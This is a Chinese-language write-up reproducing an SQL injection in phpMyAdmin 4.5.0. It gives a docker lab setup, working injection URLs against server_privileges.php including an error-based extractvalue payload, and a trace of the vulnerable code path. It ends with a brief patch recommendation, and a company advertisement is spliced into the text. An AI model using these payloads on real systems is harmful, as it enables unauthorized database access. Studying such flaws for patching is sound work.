如何進(jìn)行phpMyAdmin后臺(tái)SQL注入,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。
成都創(chuàng)新互聯(lián)是一家專業(yè)提供萬(wàn)安企業(yè)網(wǎng)站建設(shè),專注與網(wǎng)站設(shè)計(jì)制作、成都網(wǎng)站制作、H5響應(yīng)式網(wǎng)站、小程序制作等業(yè)務(wù)。10年已為萬(wàn)安眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)網(wǎng)站建設(shè)公司優(yōu)惠進(jìn)行中。
phpMyAdmin 是一個(gè)以PHP為基礎(chǔ),以Web-Base方式架構(gòu)在網(wǎng)站主機(jī)上的MySQL的數(shù)據(jù)庫(kù)管理工具,讓管理者可用Web接口管理MySQL數(shù)據(jù)庫(kù)。借由此Web接口可以成為一個(gè)簡(jiǎn)易方式輸入繁雜SQL語(yǔ)法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。
用戶界面SQL執(zhí)行語(yǔ)句存在可控變量,且未對(duì)可控參數(shù)進(jìn)行過(guò)濾直接拼接??稍斐傻蜋?quán)限用戶越權(quán)執(zhí)行SQL指令。
0x04 環(huán)境搭建
在線環(huán)境:
轉(zhuǎn)發(fā)本文至朋友圈并截圖發(fā)至公眾號(hào)內(nèi)
自行搭建:
本次復(fù)現(xiàn)環(huán)境使用PhpMyAdmin4.5.0版本,使用docker搭建。
git clone https://github.com/Paper-Pen/TLSHUB.gitcd TLSHUB/phpAdmin/docker-compose up -ddocker ps
訪問(wèn)頁(yè)面http://xx.xx.xx.xx:8001
數(shù)據(jù)庫(kù)賬號(hào)密碼root/li9hu
環(huán)境搭建好了,可以開(kāi)始進(jìn)行漏洞復(fù)現(xiàn)了
0x05 漏洞復(fù)現(xiàn)
頁(yè)面位置server_privileges.php;
設(shè)置變量ajax_requests為true;
設(shè)置變量validate_username 為真值;
設(shè)置變量username 為我們拼接的注入語(yǔ)句。
http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
(token和其余參數(shù)會(huì)在訪問(wèn)頁(yè)面的時(shí)候自動(dòng)提供)
我們查看后端收到的數(shù)據(jù),可以看到SQL已經(jīng)成功拼接。
執(zhí)行完畢后程序只會(huì)告知SQL是否執(zhí)行成功,失敗會(huì)報(bào)錯(cuò),因此此處我們可以利用報(bào)錯(cuò)注入。
http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
結(jié)果如下,可以看到已經(jīng)成功執(zhí)行了我們注入的指令。
定位到文件libraries/server_privileges.lib.php,此處就是SQL注入存在點(diǎn),username和validate_username都可控,我們往上回溯定位if所在的函數(shù)。
可以看到if處于PMA_getExtraDataForAjaxBehavior函數(shù)內(nèi)。下一步使用phpsotorm快捷鍵ctrl+B定位到觸發(fā)此函數(shù)的點(diǎn)。
跳轉(zhuǎn)到文件server_privileges.php可以看到$extra_data觸發(fā)了此函數(shù),處于一個(gè)if內(nèi),下一步快捷鍵ctrl+shift+F全局搜索變量is_ajax_request,看看是否可控讓其為真值。
跳轉(zhuǎn)到文件libraries/common.inc.php這里有可控變量ajax_request只要給它附true就可以返回true了。
0x07 修復(fù)方式
更新官方最新補(bǔ)丁
看完上述內(nèi)容,你們掌握如何進(jìn)行phpMyAdmin后臺(tái)SQL注入的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!
當(dāng)前題目:如何進(jìn)行phpMyAdmin后臺(tái)SQL注入
網(wǎng)站網(wǎng)址:
http://weahome.cn/article/gddsec.html